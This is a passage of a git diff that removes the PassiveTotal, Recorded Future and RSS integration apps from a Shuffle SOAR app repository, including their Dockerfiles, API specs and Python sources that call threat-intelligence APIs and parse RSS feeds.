b/passivetotal/1.0.0/src/app.py deleted file mode 100755 index 23e32853..00000000 --- a/passivetotal/1.0.0/src/app.py +++ /dev/null @@ -1,108 +0,0 @@ -import time -import json -import socket -import asyncio -import requests - -from walkoff_app_sdk.app_base import AppBase - -class Passivetotal(AppBase): - __version__ = "1.0.0" - app_name = "passivetotal" - - def __init__(self, redis, logger, console_logger=None): - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - self.headers = {"Content-Type": "application/json"} - super().__init__(redis, logger, console_logger) - - def update_project(self, username, apikey, data): - url = "https://api.passivetotal.org/v2/project" - auth = (username, apikey) - print(data) - - return requests.post(url, headers=self.headers, auth=auth, data=data).text - - def parse_tags(self, tags): - if ", " in tags: - return tags.split(", ") - else: - return tags.split(",") - - def add_artifact(self, username, apikey, project, artifact, tags=""): - url = "https://api.passivetotal.org/v2/artifact" - auth = (username, apikey) - - data = { - "project": project, - "query": artifact, - "tags": self.parse_tags(tags), - } - - return requests.put(url, headers=self.headers, auth=auth, json=data).text - - def checkmonitor(self, verify): - if verify == True: - return True - elif verify == False: - return False - elif verify.lower().strip() == "false": - return False - else: - return True - - def update_artifact(self, username, apikey, artifact_id, monitor=False, tags=""): - url = "https://api.passivetotal.org/v2/artifact" - auth = (username, apikey) - - data = { - "artifact": artifact_id, - "monitor": self.checkmonitor(monitor), - "tags": self.parse_tags(tags), - } - - return requests.post(url, headers=self.headers, auth=auth, json=data).text - - def get_artifact(self, username, apikey, query=""): - url = "https://api.passivetotal.org/v2/artifact" - auth = (username, apikey) - - params = { - "query": query, - } - - return requests.get(url, headers=self.headers, auth=auth, params=params).text - - def get_alerts(self, username, apikey, project_id="", artifact_id="", start="", end=""): - url = "https://api.passivetotal.org/v2/artifact?" - auth = (username, apikey) - - params = { - "project": project_id, - "artifact": artifact_id, - "start": start, - "end": end, - } - - return requests.get(url, headers=self.headers, auth=auth, params=params).text - -# Run the actual thing after we've checked params -def run(request): - action = request.get_json() - print(action) - print(type(action)) - authorization_key = action.get("authorization") - current_execution_id = action.get("execution_id") - - if action and "name" in action and "app_name" in action: - Passivetotal.run(action) - return f'Attempting to execute function {action["name"]} in app {action["app_name"]}' - else: - return f'Invalid action' - -if __name__ == "__main__": - Passivetotal.run() diff --git a/recordedfuture/1.0.0/Dockerfile b/recordedfuture/1.0.0/Dockerfile deleted file mode 100644 index 364e1531..00000000 --- a/recordedfuture/1.0.0/Dockerfile +++ /dev/null @@ -1,26 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app - -# Install any binary dependencies needed in our final image -# RUN apk --no-cache add --update my_binary_dependency - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG diff --git a/recordedfuture/1.0.0/api.yaml b/recordedfuture/1.0.0/api.yaml deleted file mode 100644 index a7e472cb..00000000 --- a/recordedfuture/1.0.0/api.yaml +++ /dev/null @@ -1,65 +0,0 @@ -walkoff_version: 1.0.0 -app_version: 1.0.0 -name: recordedfuture -description: Recordedfuture example app -tags: - - Threat intel - - TI -categories: - - Threat intel -contact_info: - name: "@frikkylikeme" - url: https://github.com/frikky - email: "frikky@shuffler.io" -authentication: - required: true - parameters: - - name: apikey - description: Apikey for Recorded Future - multiline: false - example: "asdf1234" - required: true - schema: - type: string -actions: - - name: get_alerts - description: Gets alerts from recorded future - parameters: - - name: status - description: Apikey for Recorded Future - multiline: false - example: "actionable" - required: false - schema: - type: string - - name: limit - description: Limit of alerts - multiline: false - example: "10" - required: false - schema: - type: string - returns: - schema: - type: string - - name: get_alert - description: Gets alerts from recorded future - parameters: - - name: apikey - description: Apikey for Recorded Future - multiline: false - example: "asdf1234" - required: true - schema: - type: string - - name: id - description: The alert ID to get - multiline: false - example: "bvYNuu" - required: true - schema: - type: string - returns: - schema: - type: string -large_image: data:image/png;base64,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 diff --git a/recordedfuture/1.0.0/requirements.txt b/recordedfuture/1.0.0/requirements.txt deleted file mode 100644 index fd7d3e06..00000000 --- a/recordedfuture/1.0.0/requirements.txt +++ /dev/null @@ -1 +0,0 @@ -requests==2.25.1 \ No newline at end of file diff --git a/recordedfuture/1.0.0/src/app.py b/recordedfuture/1.0.0/src/app.py deleted file mode 100755 index afa8be69..00000000 --- a/recordedfuture/1.0.0/src/app.py +++ /dev/null @@ -1,57 +0,0 @@ -import time -import json -import socket -import asyncio -import requests - -from walkoff_app_sdk.app_base import AppBase - -class Recordedfuture(AppBase): - __version__ = "1.0.0" - app_name = "recordedfuture" - - def __init__(self, redis, logger, console_logger=None): - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - super().__init__(redis, logger, console_logger) - - def get_alerts(self, apikey, status="", limit=10): - url = "https://api.recordedfuture.com/v2/alert/search?limit=%s" % limit - if status: - url = "%s&status=%s" % (url, status) - - parsed_headers = { - 'X-RFToken': apikey, - } - - return requests.get(url, headers=parsed_headers).text - - def get_alert(self, apikey, id): - url = "https://api.recordedfuture.com/v2/alert/%s" % id - parsed_headers = { - 'X-RFToken': apikey, - } - - return requests.get(url, headers=parsed_headers).text - - -# Run the actual thing after we've checked params -def run(request): - action = request.get_json() - print(action) - print(type(action)) - authorization_key = action.get("authorization") - current_execution_id = action.get("execution_id") - - if action and "name" in action and "app_name" in action: - Recordedfuture.run(action) - return f'Attempting to execute function {action["name"]} in app {action["app_name"]}' - else: - return f'Invalid action' - -if __name__ == "__main__": - Recordedfuture.run() diff --git a/rss/1.0.0/Dockerfile b/rss/1.0.0/Dockerfile deleted file mode 100644 index 364e1531..00000000 --- a/rss/1.0.0/Dockerfile +++ /dev/null @@ -1,26 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app - -# Install any binary dependencies needed in our final image -# RUN apk --no-cache add --update my_binary_dependency - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG diff --git a/rss/1.0.0/api.yaml b/rss/1.0.0/api.yaml deleted file mode 100644 index 179fc487..00000000 --- a/rss/1.0.0/api.yaml +++ /dev/null @@ -1,26 +0,0 @@ -app_version: 1.0.0 -name: RSS -description: Allows access to read RSS feeds -contact_info: - name: "@frikkylikeme" - url: https://shuffler.io - email: frikky@shuffler.io -tags: - - Intel -categories: - - Intel -actions: - - name: get_rss - description: Gets the available fields - parameters: - - name: url - description: The JSON to handle - required: true - multiline: false - example: 'https://timesofindia.indiatimes.com/rssfeedstopstories.cms' - schema: - type: string - returns: - schema: - type: string -large_image: data:image/png;base64,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 diff --git a/rss/1.0.0/requirements.txt b/rss/1.0.0/requirements.txt deleted file mode 100644 index 2da95e3d..00000000 --- a/rss/1.0.0/requirements.txt +++ /dev/null @@ -1,2 +0,0 @@ -feedparser==6.0.8 -requests==2.25.1 diff --git a/rss/1.0.0/src/app.py b/rss/1.0.0/src/app.py deleted file mode 100644 index 7fcc3ac2..00000000 --- a/rss/1.0.0/src/app.py +++ /dev/null @@ -1,52 +0,0 @@ -import socket -import asyncio -import time -import random -import json -import feedparser - -socket.setdefaulttimeout(10) -from walkoff_app_sdk.app_base import AppBase - -class RSS(AppBase): - __version__ = "1.0.0" - app_name = "python_playground" # this needs to match "name" in api.yaml - - def __init__(self, redis, logger, console_logger=None): - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - super().__init__(redis, logger, console_logger) - - # Write your data inside this function - def get_rss(self, url): - # It comes in as a string, so needs to be set to JSON - NewsFeed = feedparser.parse(url) - try: - return json.dumps(NewsFeed) - except: - return 